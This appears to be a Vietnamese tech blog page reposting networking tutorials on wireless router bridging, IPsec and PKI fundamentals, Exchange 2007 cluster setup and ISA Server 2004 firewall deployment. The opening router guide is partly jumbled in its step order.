chạy trong chế độ trạm gốc. bạn chạy một cáp Ethernet đến máy chủ cho kết nối Internet và kết nối cáp Ethernet khác đến một trong 4 cổng mở và đến máy tính.11n Draft 2. Netgear. (Netgear không khuyến khích việc cấu hình router sử dụng không dây). kích vào hỗ trợ.0 cho chế độ cầu nối. Ý tưởng được lấy từ thông lượng nhanh ở N – cho tốc độ 100Mbit/sec và phạm vi được mở rộng. bạn cần phải có bản vá mới nhất cho 802. Bạn có thể đặt một TEW-630APB tại vị trí trung tâm của một tòa nhà và triển khai thêm 6 mô hình khác xung quanh sàn để có độ bao phủ tốt nhất – ở tốc độ cao nhất có thể.

bạn vào Network and Sharing Center." Chọn tùy chọn "Set up a wireless router " và kích Next. viết chúng ra và kích Next để hoàn thiện quá trình WPS và lặp lại cho router thứ hai.2. Netgear RangeMax Next WNR834B Nhập vào một địa chỉ IP duy nhất cho router lặp Bây giờ bạn kích vàp chức năng lặp Wireless Repeating Function. Cài đặt router thứ hai. Kích “Advanced”. kích Support. tuy nhiên chúng sẽ chỉ làm việc khi bạn có hai hoặc nhiều router TEW-630APB sử dụng cùng một phần mềm. Kích vào tùy chọn Enable và kích nút radio cho trạm gốc không dây. Kích "Basic. Netgear RangeMax Next WNR834B Sử dụng Windows Vista để cấu hình bảo mật Trendnet Wireless N TEW-630APB Hiện nay. tìm kiểu router. Theo cài đặt cơ bản CD cho cả hai router và lưu ý địa chỉ MAC được ghi trên nhãn của router." Tích vào hộp kiểm bên cạnh "WDS Enable" và đánh vào địa chỉ MAC cho router thứ hai (lặp).2. Trong khi máy tính vẫn chạy dây đến các router. tải về và cài đặt phần mềm mới nhất. các bạn nên sử dụng Windows Vista với Wi-Fi Protected Setup để cấu hình bảo mật.168. Vista sẽ gợi ý một mã mật khẩu phức tạp cho bạn sử dụng. Kích tùy chọn tương tự Wireless Repeating Function. Nhập vào địa chỉ MAC cho router thứ hai – hoặc các router còn lại mà bạn muốn thêm vào. bạn vào địa chỉ IP của router trong trình duyệt – IP mặc định được in trong hướng dẫn sử dụng.cập vào địa chỉ IP của router trong trình duyệt – IP mặc định sẽ được liệt kê trong hướng dẫn sử dụng. Nhập vào một địa chỉ IP mới giống với routerr đầu tiên – nếu trạm gốc là 192. điều đó làm cho nó trở nên dễ dàng hơn trong việc cấu hình.0. (Sử dụng NetStumbler để xác định router nào đã được sử dụng và số kênh của chúng) Trendnet Wireless N TEW-630APB Kích hoạt WDS và nhập vào địa chỉ MAC . Trên router đầu tiên (chế độ cầu). Kích "Set up a connection or network."Advanced Wireless.168. kích hoạt nó và chọn Wireless Repeater. Tên router – đây là một SSID mới – và kích Next.11n Draft 1.1. Trendnet TEW-630APB hỗ trợ cầu nối thông qua 802.1 thì bạn sử dụng 192. bỏ chọn tùy chọn "Enable Auto Scan" và chọn một kênh để không bị xung đột với các tín hiệu không dây khác. Nó sử dụng Wireless Distribution System cho việc bắc cầu." sau đó là "Wireless". Đánh Security PIN tìm thấy trong nhãn của router và kích Next. Hãy cài đặt phần mềm mới nhất tại Trendnet. Trên cả hai router.

sử dụng cùng khóa.Trên router còn lại dùng để làm bộ lặp. TLS và SSH. IPsec phần 2 . Netgear và Linksys là tất cả các router không dây lớp công ty đang được phát hành có hỗ trợ 802. D-Link. Điều này tạo ra tính mềm dẻo cho IPsec. sau đó kéo thanh cuộn xuống dưới màn hình và chọn WPA-Personal. Chú ý phải sử dụng cùng kênh. Tổng quanipsec Giao thức IPsec được làm việc tại tầng Network Layer – layer 3 của mô hình OSI. Bây giờ. IPsec cũng bao gồm những giao thức cung cấp cho mã hoá và xác thực.11n là gì? Sự hỗ trợ công ty – điều sẽ có được trong năm nay. kích hoạt bảo mật WPA-Personal. được thực hiện từ tầng transport layer trở lên (Từ tầng 4 tới tầng 7 mô hình OSI).0 sẽ là cái mà chúng ta mong đợi hơn cả và được dự kiến ra mắt trong khoảng 6 tháng tới. UDP. bạn thực hiện theo các bước tương tự nhưng lúc này sử dụng địa chỉ MAC cho router trạm cơ bản. hầu hết các giao thức sử dụng tại tầng này.Public Key Infrastructor 1.11n Draft 2. nhưng nếu ứng dụng đó bắt buộc sử dụng SSL và các giao thức bảo mật trên các tầng trên trong mô hình OSI thì đoạn mã ứng dụng đó sẽ bị thay . Các giao thức bảo mật trên Internet khác như SSL. wifi. Với một ứng dụng sử dụng IPsec mã (code) không bị thay đổi. NETWORK. đánh vào đó một khóa chia sẻ Pre-Shared Key. IPsec có một tính năng cao cấp hơn SSL và các phương thức khác hoạt động tại các tầng trên của mô hình OSI. Router thứ hai sẽ chạy trong chế độ lặp để mở rộng tín hiệu không dây. WIRELESS IPsec toàn tập (phần 1) IPsec (IP security) bao gồm một hệ thống các giao thức để bảo mật quá trình truyền thông tin trên nền tảng Internet Protocol (IP). Viết số và lặp lại cho router thứ hai. (theo QTM) Được đăng bởi haodalat tại 10:53 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT. kích Basic. 802. giao thức này có thể hoạt động từ tầng 4 với TCP.11n và chế độ cầu nối cũng như VPN và WPA-TKIP lớp công ty. Bao gồm xác thực và/hoặc mã hoá (Authenticating and/or Encrypting) cho mỗi gói IP (IP packet) trong quá trình truyền thông tin. trên cả hai router. Trendnet Wireless N TEW-630APB Kích hoạt bảo mật WPA-Personal cho cả hai router và nhập vào khóa PreShared Key Kết luận Bước tiến tiếp theo trong cuộc cách mạng 802. Wireless.

Trong tháng 12 năm 2005. Xây dựng IPsec sử dụng khái niệm về bảo mật trên nền tảng IP. được nâng cấp với các phiên bản RFC 2401 – 2412. tuy nhiên nó cũng cho phép thực hiện nhiều mức độ bảo mật cho một group. Cũng không khác nhiều so với chuẩn RFC 2401 – 2412 nhưng thế hệ mới được cung cấp chuẩn IKE second. 3. và được phổ biến năm 1995. mỗi quá trình Index (đánh thứ tự và lưu trong dữ liệu – Index ví như một cuốn danh bạ điện thoại) bao gồm Security Association Database (SADB). bằng cách sử dụng các SPI khác nhau. 2. cho phép xác thực. có thể được lựa chọn khi sử dụng IPv4. Tuy nhiên trong các giao tiếp hai chiều. một thoả hiệp bảo mật sẽ cung cấp cho một group. Các giao thức IPsec được định nghĩa từ RFCs 1825 – 1829. các giao thức bảo mật sẽ làm việc với nhau và đáp ứng quá trình giao tiếp. Có thể có hơn một thoả hiệp bảo mật cho một group. Trong khi các chuẩn đã được thiết kết cho các phiên bản IP giống nhau. Năm 1998. Hiện trạng IPsec là một phần bắt bược của IPv6. Cho các gói multicast. phổ biến hiện nay là áp dụng và triển khai trên nền tảng IPv4.đổi lớn. Thực tế lựa chọn các thuật toán mã hoá và xác thực lại phụ thuộc vào người quản trị IPsec bởi IPsec bao gồm một nhóm các giao thức bảo mật đáp ứng mã hoá và xác thực cho mỗi gói tin IP. và thực hiện cho toàn bộ các receiver trong group đó. cùng với sự nhận dạng duy nhất của một thoả hiệp bảo mật (tạm dịch từ security association) cho mỗi gói tin. Một sự kết hợp bảo mật rất đơn giản khi kết hợp các thuật toán và các thông số (ví như các khoá – keys) là nền tảng trong việc mã hoá và xác thực trong một chiều. . thế hệ thứ 3 của chuẩn IPSec. (2) phương thức xác thực và (3) thiết lập các thông số mã hoá. IPsec sử dụng các thông số Security Parameter Index (SPI). RFC 4301 – 4309. theo suốt chiều dài của địa chỉ đích trong header của gói tin. nó không tương thích với chuẩn 1825 – 1929. Trong các bước thực hiện phải quyết định cái gì cần bảo vệ và cung cấp cho một gói tin outgoing (đi ra ngoài). Một quá trình tương tự cũng được làm với gói tin đi vào (incoming packet). trong khi người nhận chỉ biết được các keys được gửi đi trong dữ liêu. nơi IPsec thực hiện quá trình giải mã và kiểm tra các khoá từ SADB. Mỗi người gửi có thể có nhiều thoả hiệp bảo mật. Cấu trúc bảo mật IPsec được triển khai (1) sử dụng các giao thức cung cấp mật mã (cryptographic protocols) nhằm bảo mật gói tin (packet) trong quá trình truyền. Chú ý các chuẩn không miêu tả làm thế nào để các thoả hiệp và lựa chọn việc nhân bản từ group tới các cá nhân.

địa chỉ IP không thể biết được. IPsec có thể được sử dụng trong các giao tiếp VPN. chỉ những dữ liệu bạn giao tiếp các gói tin được mã hoá và/hoặc xác thực. Điều này có nghĩa là đóng gói các thông tin trong IPsec cho NAT traversal . hay không thiết thực.Trong thế hệ mới này IP security cũng được viết tắt lại là IPsec. và chúng không thể chỉnh sửa (ví dụ như port number). tuy nhiên khi authentication header được sử dụng. Transport và application layers thường được bảo mật bởi hàm băm (hash). 5. Một phần bở lý do tính phổ thông của no không cao. Phải được xác thực giữa các giao tiếp 4. Mã hoá quá trình truyền thông tin 2. IPsec được cung cấp bởi Transport mode (end-to-end) đáp ứng bảo mật giữa các máy tính giao tiếp trực tiếp với nhau hoặc sử dụng Tunnel mode (portalto-portal) cho các giao tiếp giữa hai mạng với nhau và chủ yếu được sử dụng khi kết nối VPN. Modes – Các mode Có hai mode khi thực hiện IPsec đó là: Transport mode và tunnel mode. cả IP header đều không bị chỉnh sửa hay mã hoá. sử dụng rất nhiều trong giao tiếp. Giao tiếp end-to-end được bảo mật trong mạng Internet được phát triển chậm và phải chờ đợi rất lâu. Thiết kế theo yêu cầu. Transport mode sử dụng trong tình huống giao tiếp host-to-host. Sự khác nhau trong quy định viết tắt trong thế hệ được quy chuẩn bởi RFC 1825 – 1829 là ESP còn phiên bản mới là ESPbis. Đảm bảo tính nguyên vẹn của dữ liệu 3. Public Key Infrastructure (PKI) được sử dụng trong phương thức này. Trong quá trình routing. Transport mode Trong Transport mode. bởi các thông tin đã bị hash (băm). IPsec đã được giới thiệu và cung cấp các dịch vụ bảo mật: 1. 4. Tuy nhiên trong việc triển khai thực hiện sẽ có sự khác nhau giữa hai mode này. Chống quá trình replay trong các phiên bảo mật.

AH bảo vệ quá trình truyền dữ liệu khi sử dụng IP. Tunnel mode Trong tunnel mode. Thuật toán mã hoá được sử dụng trong IPsec bao gồm HMAC-SHA1 cho tính toàn vẹn dữ liệu (integrity protection).được định nghĩa bởi các thông tin trong tài liệu của RFC bởi NAT-T. hoặc host-to-network và host-to-host trên internet. a. RESERVED: Sử dụng trong tương lai (cho tới thời điểm này nó được biểu diễn bằng các số 0). Payload length: Độ lớn của gói tin AH. Các modes thực hiện Authentication Header (AH) Ý nghĩa của từng phần: Next header: Nhận dạng giao thức trong sử dụng truyền thông tin. Toàn bộ thuật toán này được thể hiện trong RFC 4305. Flags. Hơn nữa nó là lựa chọn nhằm chống lại các tấn công replay attack bằng cách sử dụng công nghệ tấn công sliding windows và discarding older packets. 5. AH thực hiện trực tiếp trong phần đầu tiên của gói tin IP. Authentication Header (AH) AH được sử dụng trong các kết nối không có tính đảm bảo dữ liệu. Có hai giao thức được phát triển và cung cấp bảo mật cho các gói tin của cả hai phiên bản IPv4 và IPv6: IP Authentication Header giúp đảm bảo tính toàn vẹn và cung cấp xác thực. . IP Encapsulating Security Payload cung cấp bảo mật. dưới đây là mô hình của AH header. và thuật toán TripleDES-CBC và AESCBC cho mã mã hoá và đảm bảo độ an toàn của gói tin. Tunnel mode được sử dụng trong giao tiếp network-to-network (hay giữa các routers với nhau). TTL. Trong IPv4. Technical details. IP header có bao gồm TOS. toàn bộ gói IP (bao gồm cả data và header) sẽ được mã hoá và xác thực. và là option bạn có thể lựa chọn cả tính năng authentication và Integrity đảm bảo tính toàn vẹn dữ liệu. Fragment Offset. và Header Checksum. Nó phải được đóng gói lại trong một dạng IP packet khác trong quá trình routing của router.

6. Sequence number:Tự động tăng có tác dụng chống tấn công kiểu replay attacks. Tuy nhiên một chuẩn giao diện cho quản lý key. Payload data: Cho dữ liệu truyền đi Padding: Sử dụng vài block mã hoá Pad length: Độ lớn của padding. header của gói tin IP. Next header: Nhận ra giao thức được sử dụng trong quá trình truyền thông tin. b. Authentication data: Bao gồm dữ liệu để xác thực cho gói tin. độ toàn vẹn. Không như AH. nhưng sử dụng mã hoá mà không yêu cầu xác thực không đảm bảo tính bảo mật. nó có thể được điều khiển bởi nhân của IPsec.thực hiện IPsec được thực hiện trong nhân với các trình quản lý các key và quá trình thương lượng bảo mật ISAKMP/IKE từ người dùng. . Encapsulating Security Payload (ESP) Giao thức ESP cung cấp xác thực. được tích hợp với địa chỉ IP. bao gồm các option khác. và nhận dạng các thương lượng bảo mật được kết hợp với gói tin. Sequence number: Một số tự động tăng lên mỗi gói tin.Security parameters index (SPI): Nhận ra các thông số bảo mật. đảm bảo tính bảo mật cho gói tin. Encapsulating Security Payload (ESP) Ý nghĩa của các phần: Security parameters index (SPI): Nhận ra các thông số được tích hợp với địa chỉ IP. sử dụng nhằm chống lại tấn công dạng replay attacks. Authentication data: Bao gồm thông số Integrity check value (ICV) cần thiết trong gói tin xác thực. ESP cũng hỗ trợ tính năng cấu hình sử dụng trong tính huống chỉ cần bảo mã hoá và chỉ cần cho authentication. ESP thực hiện trên top IP sử dụng giao thức IP và mang số hiệu 50 và AH mang số hiệu 51. Implementations .

Nhưng có một số thuật toán có thể tạo ra public key từ private key. kết hợp với trình quản lý key là deamon và rất nhiều shell scripts. Cặp key được tạo ra ngẫu nhiên với nhiều chữ số hiển thị. Ngoài ra còn có nhiều ứng dụng để tạo ra cặp khoá này. Một thông tin được mã hoá với public key thì chỉ có thể giải mã bởi private key. Một thông tin được mã hoá với private key có thể giải mã với public key. Dự án FreeS/WAN được bắt đầu vào tháng 3 năm 2004.Public Key Infrastructor 20/10/2007 09:30 AM Trong bài viết này tôi sẽ giới thiệu với các bạn tổng quan về cách thức làm việc của Public Key Infrastructure (PKI). Dự án FreeS/WAN là dự án đầu tiên hoàn thành việc thực hiện IPsec trong mã nguồn mở cụ thể là Linux.vn/ShowArticle. Hầu hết các cặp key được tạo ra từ nhiều số và bằng một thuật toán mã hoá nào đó. IPsec có thể được triển khai trên nhân của Linux. Khi các keys được tạo ra từ nhiều chữ số ngẫu nhiên. với tên đơn giản là isakmpd (nó cũng được triển khai trên nhiều hệ thống. Điều này có nghĩa khi một người gửi thông tin được mã hoá tới một người khác thì chỉ có người nhận mới mở được thông tin đó mà thôi.Public Key Infrastructor (VNE Research Department) http://zensoft. OpenBSB được tạo ra ISAKMP/IKE. Nhưng chỉ có Public key mới được published cho toàn bộ mọi người. Trình quản lý các khoá được gọi là racoon. Openswan và strongSwan đã tiếp tục dự án FreeS/WAN. IPsec toàn tập phần I Nếu bạn sử dụng Active Directory của công nghệ Windows NT thì mỗi user khi được tạo ra cũng đi liền với nó có một cặp Key: Public key và Private key. Nó bao gồm một nhấn IPsec stack (KLIPS). Nếu chỉ có public key bạn sẽ không thể giải mã được gói tin. sẽ không thể giải mã nếu ra private key nếu biết public key. Những người khác có bắt được toàn bộ thông tin thì cũng không thể giải mã được nếu chỉ có Public key. FreeBSB. Dự án KAME cũng hoàn thành việc triển khai sử dụng IPsec cho NetBSB. bao gồm cả hệ thống Linux). IPsec phần 2 . Khi public key đã được public cho toàn bộ mọi người thì ai cũng có thể đọc được .Bởi vì được cung cấp cho người dùng cuối.aspx?ID=2260 IPsec phần 2 .

* Hai phiên bản Windows 2003 Server R2 Enterprise hoặc Windows 2003 Server SP1 Enterprise. * Một file Windows chia sẻ Witness (Microsoft khuyến cáo vấn đề là Exchange 2007 Hub Transport Server trong Exchange 2007 đang tồn tại) Lưu ý : Nhớ áp dụng sự nâng cấp đã đề cập đến bên trong liên kết MS KB 921181 cho cả hai máy chủ sẽ làm việc như các nút trong cài đặt Exchange Server 2007 Clustered Mailbox. Các điều kiện tiên quyết Để theo các bước trong suốt loạt bài này. Rồi hai người truyền thông tin cho nhau. Tính năng xác nhận chia sẻ file này cho phép bạn sử . bạn cần thực hiện những vấn đề dưới đây: * Windows 2003 Active Directory forest có ít nhất một Domain Controller. tuy nhiên nó cũng có một số nhược điểm đó là vẫn có một điểm lỗi khi đề cập đến các cơ sở dữ liệu của Exchange. bên cạnh đó là sự kết hợp giữa chúng với các tính năng có sẵn Windows 2003 (2 nút cluster active/passive).Majority Node Set (MNS) . Khi Alice truyền thông tin cho Bob bằng Shared Secret được tạo ra. Nâng cấp này sẽ bổ sung một tính năng xác nhận chia sẻ file mới cho mô hình quy định của tập các nút . Cũng tương tự như vậy Bob cũng kết hợp Private key của mình với Public key của Alice để tạo ra mọt shared secret. Để đảm bảo an toàn hơn trong quá trình truyền thông tin: Alice kết hợp Private key của cô ấy với Public key của Bob để tạo ra và chia sẻ bảo mật (share secret). Tính năng này cần đến vấn đề chuyển file bản ghi của Exchange Server 2007 mới và các tính năng replay.thông tin nếu có public key. một trong số đó là tính năng Cluster Continuous Replication (CCR). NETWORK Cài đặt. IPsec toàn tập phần I (Theo VNE Research Department) Được đăng bởi haodalat tại 9:14 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT. Điều này cũng tương tự khi Bob truyền thông tin và cách Alice giải mã để lấy thông tin. Tính năng có trong Windows 2003 này có nhiều ưu điểm.hiện hành. khi Bob nhận được gói tin mã hoá bởi shared secret đó dùng Public key của Alice kết hợp với Private key của mình để mở thông tin. cấu hình và kiểm thử Exchange 2007 CCR trên Mailbox Server (Phần 1) Exchange Server 2007 giới thiệu một số tính năng mới. MCSA.

Bổ sung thêm vào các điều kiện tiên quyết ở trên. hãy bắt đầu bằng cách đặt tên cho các máy ví dụ như E2K7Node1 và E2K7Node2 hay bất cứ tên nào đó mà bạn muốn sử dụng (các tên này không cần phải thực hiện gì với tên máy chủ Exchange mà các máy khách của bạn sẽ được cấu hình để kết nối tới chúng sau). Không được hỗ trợ cho việc chạy Exchange 2007 trong một cluster với bất kỳ các ứng dụng khác. Đặt tên cho các kết nối mạng là Public và Private tương ứng với mạng bên trong và mạng bên ngoài (nhớ rằng phải thực hiện điều này cho cả hai nút). * Cluster trong Exchange 2007 nào được cài đặt không thể có Exchange Server 200x.dụng một file chia sẻ ở bên ngoài đối với cluster như một “phiếu bầu chọn” truyền thống nhằm mục đích chỉ ra trạng thái của cluster trong triển khai mô hình quy định two-node MNS. hoặc bất kỳ phiên bản nào của Microsoft SQL Server. bạn nên có một số kiến thức về các yêu cầu chung dưới đây: * Khi xử lý các môi trường CCR. hãy bảo đảm Public được liệt kê đầu tiên trong danh sách thứ tự kết nối. trừ khi bạn tham gia trong chương trình triển khai nhanh (RDP) hoặc chương trình chạy thử công nghệ mới (TAP). nên bạn phải cài đặt mailbox cluster trong miền kiểm thử. bạn phải hoặc có thể chỉ sử dụng một cơ sở dữ liệu trên một nhóm lưu trữ. đó là một thủ tục để sử dụng cho chức năng bản sao cluster liên tục (viết tắt là CCR) trong Exchange Server 2007. Cấu hình thiết lập mạng cho các nút Cluster Khi bạn khởi chạy các máy chủ để làm các nút trong một cluster. * Bạn có thể tạo tới 50 nhóm lưu trữ và 50 cơ sở dữ liệu trên một CCR cluster. Hình 1: Các kết nối mạng Kích Advanced > Advanced Settings. * Bạn không thể tạo một cơ sở dữ liệu thư mục công trong môi trường CCR nếu đã có nhiều cơ sở dữ liệu thư mục trong tổ chức của mình. nếu không phải như thế. sau đó là Private . Cần phải biết rằng bạn chỉ nên tạo một cơ sở dữ liệu trên mỗi nhóm lưu trữ. Cảnh báo: Vì Exchange Server 2007 Beta không hỗ trợ trong môi trường sản xuất.

và cuối cùng là Remote Access Connections. Ngoài ra không còn gì yêu cầu nữa vì mạng này chỉ được sử dụng cho việc truyền thông (heartbeat) giữa các nút trong một cluster. Ở đây. lúc này hãy tạo một Windows 2003 Server Cluster. Tạo và cấu hình Windows 2003 Server Cluster Chúng ta đã có hai máy chủ sẵn sàng làm việc như các nút trong một cluster của Windows 2003. Hình 5: Cấu hình Private network Bây giờ kích Advanced sau đó chọn tab DNS. bạn nên hủy chọn cả Register this connection's addresses in DNS và Use this connection's DNS suffix. Hình 7: Cấu hình các thiết lập WINS cho Private network Kích OK 3 lần và đóng các cửa sổ kết nối mạng. Hình 6: Cấu hình các thiết lập DNS cho Private network Kích vào tab WINS. Hình 4: Cấu hình Public network Cấu hình Private network với địa chỉ IP và một subnet mask. Bây giờ bổ sung thêm cả hai máy chủ Windows 2003 với tư cách là máy chủ thành viên trong miền Active Directory kiểm thử. Hình 3: Vô hiệu hóa File and Printer Sharing for Microsoft Networks Cấu hình Public network với các thiết lập mạng tương ứng mà bạn sử dụng trong môi trường test của mình. hủy chọn Enable LMHOSTS lookup và chọn Disable NetBIOS over TCP/IP. Hình 2: Thứ thự kết nối Bạn cũng cần bảo đảm không đánh dấu File and Printer Sharing for Microsoft Networks cho kết nối mạng Private. Để .

sau đó kích Start > Administrative Tools > Cluster Administrator. Kích OK. Hình 11: Bổ sung thêm nút đầu tiên Cho phép tiện ích cluster wizard xác định cấu hình cluster và kích Next.216. trong trường hợp này là E2K7Node1. Hình 8: Tạo một cluster mới Lưu ý: Bạn cũng có thể mở một cửa sổ lệnh và đánh vào đó lệnh Cluster. hãy đăng nhập vào E2K7Node1 với tài khoản quản trị viên miền. Kích Next. và chọn Create new cluster trong hộp danh sách chọn. sau đó kích Next. sau đó kích Next.exe /create /wizard để mở tiện ích Cluster Wizard.Analyzing Cluster Configuration Nhập vào địa chỉ IP mà các công cụ quản lý cluster sẽ sử dụng để kết nối với cluster. Hình 9: Cluster Wizard Chỉ định tên miền cũng như tên cluster (tên cho Windows 2003 cluster chứ không phải cho tên của Exchange cluster để các máy khách sẽ kết nối tới). . Lưu ý: Bạn có thể bỏ qua hai cảnh báo trong hình 12. Hình 12: Phân tích cấu hình cluster . sau đó kích Next. kích Next.1. Hình 10: Cluster Name and Domain Nhập vào tên của máy chủ Windows 2003 sẽ làm nút đầu tiên trong cluster. trong trường hợp này là 10.10. vì các nút trong bản sao cluster liên tục (CCR) trên cài đặt máy chủ mailbox sẽ không chia sẻ cùng các hệ thống nhỏ. Hình 13: Chỉ định địa chỉ IP mà các công cụ quản lý cluster sẽ kết nối đến Nhập vào các thông tin cần thiết của tài khoản dịch vụ cluster (Cluster Service Account).thực hiện điều đó.

Hình 18: Màn hình báo đã hoàn tất quá trình Lúc này chúng ta đang chạy cluster Windows 2003. Hình 20: Add Nodes Wizard Nhập vào tên của máy chủ sẽ là nút thứ hai (trong trường hơp này là E2K7Node2). sau đó kích Next. bạn có thể kích Finish. Hình 19: Bổ sung thêm nút thứ hai cho Cluster Add Nodes Wizard sẽ khởi chạy và bạn có thể kích Next.Hình 14: Nhập vào các thông tin cần thiết cho Cluster Service Account Kích Quorum và chọn Majority Node Set như một kiểu tài nguyên. Chúng ta có thể thực hiện bằng cách kích chuột phải vào E2K7Node1 trong phần panel bên trái của Cluster Administrator. Vì vậy hãy bổ sung thêm vào máy chủ Windows 2003 thứ hai. sau đó kích Next. sau đó kích OK và Next. Hình 21: Nhập vào tên của nút thứ hai Tiếp tục cho Add Notes Wizard phép xác định cấu hình cluster. Hình 15: Cấu hình Cluster được đưa ra Hình 16: Thiết lập Majority Node Set thành Resource Type Đợi cho đến khi cluster được cấu hình. . nhưng vì chỉ có một nút nên không có lỗi tolerant. sau đó kích Next. sau đó chọn New > Node như trong hình 19 bên dưới. Hình 17: Tạo Cluster Khi cluster đã được hoàn tất.

Hình 24: Cấu hình cluster được đề xuất cho nút 2. phần hai sẽ được tiếp tục chúng tôi giới thiệu trong một thời gian không xa. (theo QTM. Hình 25: Cluster được cấu hình cho nút thứ hai Khi Add Notes Wizard đã hoàn tất một cách thành công. Hình 27: Cluster Administrator với hai nút Đến đây chúng tôi xin kết thúc phần một của loạt bài này. bạn hãy kích Next.aspx?ID=3498 Được đăng bởi haodalat tại 9:13 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT.Hình 22: Phân tích cấu hình Cluster Nhập vào mật khẩu cho tài khoản dịch vụ cluster (trong trường hợp này là tài khoản quản trị viên). Hình 23: Nhập vào mật khẩu cho Cluster Service Account Khi đã được thẩm định. kích Next. MsExchane) http://zensoft. Khi cluster đã được cấu hình đúng mà không có lỗi nào hoặc cảnh báo nào xuất hiện. sau đó kích Next. MCSA. mong các bạn đón đọc. Hình 26: Hoàn tất Add Nodes Wizard Máy chủ Windows thứ hai lúc này là một phần của cluster như thể hiện trong hình 27 bên dưới. kích Finish. ISA Server 2004 Firewall . NETWORK 14-04-2008 sách về ISA 2004 tiếng việt Trong số những sản phẩm tường lữa (firewall) trên thị trường hiện nay thì ISA Server 2004 của Microsoft được nhiều người yêu thích do khả năng bảo vệ hệ thống mạnh mẽ cùng với cơ chế quản lý linh hoạt.vn/ShowArticle. bạn muốn bổ sung thêm nút thứ hai vào cluster với cấu hình được thể hiện trong hình 24.

255 và Default Gateway 1.0 và DNS 192.168. . Web Server) sử dụng địa chỉ mạng 172.Inside Interface: IP 192. thời gian và nội dung nhằm ngăn chặn việc kết nối vào những trang web có nội dung không thích hợp.1.1. Ngoài những tính năng đã có trên ISA Server 2004 Standard.1. Bài viết này trình bày cách thức triển khai hệ thống ISA Server (Standar và Enterprise) cho một công ty có số lượng nhân viên trên 50 người.1.168. kiểm soát quá trình truy cập của người dùng theo giao thức.1. Subnet Mask 255. công ty sử dụng một đường ADSL và hệ thống ISA Server 2004 Firewall.2 (ADSL modem).1. đáp ứng nhiều yêu cầu truy xuất của người dùng bên trong và ngoài hệ thống.1. điều này giúp dễ dàng quản lý và cung cấp tính năng Load Balancing (cân bằng tải).1.10.255.255. Máy chủ dùng để cài đặt ISA Server chạy Windows Server 2003 SP1 có 3 NIC (network interface) với địa chỉ IP như sau: . Với phiên bản này chúng ta có thể xây dựng firewall để kiểm soát các luồng dữ liệu vào và ra hệ thống mạng nội bộ của công ty.1. hoặc trao đổi dữ liệu giữa các văn phòng chi nhánh.có hai phiên bản Standard và Enterprise phục vụ cho những môi trường khác nhau.1.255.16. Web Server cần được bảo vệ chặt chẽ trong một môi trường riêng biệt thì ISA 2004 cho phép triển khai các vùng DMZ (thuật ngữ chỉ vùng phi quân sự) ngăn ngừa sự tương tác trực tiếp giữa người bên trong và bên ngoài hệ thống. Subnet Mask 255.1. Với địa chỉ modem ADSL là 1. Chính vì lý do đó mà sản phẩm firewall này có tên gọi là Internet Security & Aceleration (bảo mật và tăng tốc Internet).1 – 192.0 . bản Enterprise còn cho phép thiết lập hệ thống mảng các ISA Server cùng sử dụng một chính sách. ISA Server 2004 Standard đáp ứng nhu cầu bảo vệ và chia sẻ băng thông cho các công ty có quy mô trung bình. Subnet Mask 255.255.11 (DNS Server và Domain Controler của hệ thống) .1.255. Để cung cấp dịch vụ chia sẻ Internet. hệ thống có hai lớp mạng chính là Internal bao gồm các máy tính của nhân viên có dãy địa chỉ IP riêng là 192. ISA Server 2004 Enterprise được sử dụng trong các mô hình mạng lớn.0/24. Ngoài các tính năng bảo mật thông tin trên.168.DMZ Interface: IP 172.168. Bên cạnh đó chúng ta còn có thể triển khai hệ thống VPN Site to Site hay Remote Access hỗ trợ cho việc truy cập từ xa.16.1. ISA 2004 còn có hệ thống đệm (cache) giúp kết nối Internet nhanh hơn do thông tin trang web có thể được lưu sẵn trên RAM hay đĩa cứng. giúp tiết kiệm đáng kể băng thông hệ thống.255/24 và DMZ dành cho máy chủ (như Exchange Server.2. Đối với các công ty có những hệ thống máy chủ quan trọng như Mail Server.Outside Interface: IP 1.1.

Lưu ý. Nmap sẽ không tìm thấy tên của máy tính. chúng ta cần cung cấp dãy địa chỉ IP chứa các máy tính trong mạng nội bộ (From. trong cửa sổ Internal Network nhấn Add rồi Select Network Adapter. Một số ứng dụng bảo mật (như PC Security) khi cài đặt sẽ mặc định chọn Disable NetBIOS over TCP/IP. Đánh dấu chọn Inside trong trang Select Network Adapter. Cài Đặt ISA Server Sau khi đã thiết lập đầy đủ các thồng tin cần thiết. Chúng ta có thể chọn một trong 3 chế độ cài đặt sau: . Ở đây chúng ta sẽ sử dụng chế độ cài đặt Custom. . Folder Share. mặc định chỉ có hai dịch vụ Firewall Services và ISA Server Management. . các phần mềm quét lỗi hệ thống như Retina.Custom: cho phép chọn những thành phần cần cài đặt của ISA Server 2004. nhấn . Các máy chủ giao tiếp với Internet như firewall thường chọn chức năng này. Tiếp theo tiến trình cài đặt sẽ yêu cầu bạn xác định giao tiếp mạng với hệ thống mạng nội bộ (Internal Network). Trong cửa số Firewall Client Connection Settings hãy đánh dấu chọn Allow nonencrypted Firewall client connections và Allow Firewall clients running earlier versions of the Firewall client software to connect to ISA Server. To). Firewall Client Installation Share. không có dịch vụ Cache. bỏ chọn Register this connections address in DNS và Enable LMHOST lookup như hình sau: Lưu ý: Chức năng Disable NetBIOS over TCP/IP làm cho máy tính trở nên "vô hình" trên mạng. Message Screener cho phép ngăn chặn spam và file đính kèm (cần phải cài IIS 6. Tiếp theo. trên giao tiếp mạng Outside chọn Disable Netbios Over TCP IP. hãy chọn thêm Firewall Client Installation Share.Nhằm bảo đảm an toàn cho hệ thống và firewall. chúng ta tiến hành cài đặt ISA Server 2004 Standard trên máy tính dùng làm firewall. hạn chế trường hợp dò tìm password của những tài khoản theo cơ chế brute force. tuy nhiên đối với các máy tính trên mạng nội bộ chúng ta không nên sử dụng vì sẽ ngăn các máy tính khác truy cập vào tài nguyên chia sẻ trên máy như Printer.Typical: ở chế độ này chỉ cài đặt một số dịch vụ tối thiểu. dãy địa chỉ này phải chứa IP của giao tiếp mạng Inside.Complete: tất cả các dịch vụ sẽ được cài đặt như Firewall dùng để kiểm soát truy cập.0 SMTP trước khi cài Message Screener).

